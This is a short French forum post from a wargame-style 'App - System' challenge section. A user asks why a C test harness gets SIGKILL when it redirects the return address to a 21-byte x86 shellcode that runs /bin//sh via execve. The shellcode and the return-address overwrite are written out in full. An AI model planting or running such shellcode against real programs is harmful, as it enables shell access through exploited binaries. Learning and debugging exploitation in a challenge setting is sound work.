App - System

Friday 28 April 2017, 12:29  #1
App - System - /bin/sh problem
orebuc
  • 1 posts

Bonjour,
J’ai un petit soucis avec un challenge, j’ai compris ce qu’il fallait faire (enfin je pense).
Mais je n’arrive même pas à lancer un shellcode sur un programme à part...
Est ce qu’il y a une protection que je n’aurai pas vu et qui m’empèche de lancer ce shellcode ?

char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";
int main()
uintptr_t *ret = (uintptr_t *) &ret + 2;
(*ret) = (uintptr_t) shellcode;
return EXIT_SUCCESS;

Pourtant je le compile bien avec -zexecstack ... Mais il m’écrit sur stdout "Killed".
Lorsque je le suis step by step avec gdb, dès que le programme rentre dans mon shellcode, il reçoit un SIG KILL.
Savez-vous pourquoi?

Merci